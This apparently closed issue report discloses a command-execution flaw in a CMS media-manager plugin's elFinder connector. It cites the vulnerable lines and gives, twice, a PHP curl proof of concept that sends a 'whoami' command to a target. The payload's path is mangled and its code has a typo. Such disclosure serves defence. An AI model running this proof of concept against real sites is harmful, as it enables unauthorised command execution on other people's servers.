Closed FStac closed 5 years ago
plugins/MediaManager/src/Lib/ElFinder/connector.minimal.php line53: $src = $_POST : $_GET; line64: $cmd = $src['cmd'] : ''; line103: elFinder->exec($cmd, $this->input_filter($args));
TEST PAYLOAD:
<?php $target = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, "http://$target/F:wampwwwcms-2.0pluginsMediaManagersrcLibElFinderelFinderConnector.class.php?x=whoami"); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3); curl_setopt($ch, CURLOPTCOOKIEJAR, "/tmp/cookie$target"); $buf = curl_exec ($ch); curl_close($ch); unset($ch); echo $buf; ?>
plugins/MediaManager/src/Lib/ElFinder/connector.minimal.php line53: $src = $_POST : $_GET; line64: $cmd = $src['cmd'] : ''; line103: elFinder->exec($cmd, $this->input_filter($args));
even using input_filter() to filter $src at line150 with magic_quotes_gpc,str_replace and stripslashes,but it also can be bypass $src also can allow attacker input a command to excute.
TEST PAYLOAD:
!/usr/bin/php -f
<?php $target = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, "http://$target/F:wampwwwcms-2.0pluginsMediaManagersrcLibElFinderelFinderConnector.class.php?x=whoami"); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3); curl_setopt($ch, CURLOPTCOOKIEJAR, "/tmp/cookie$target"); $buf = curl_exec ($ch); curl_close($ch); unset($ch); echo $buf; ?>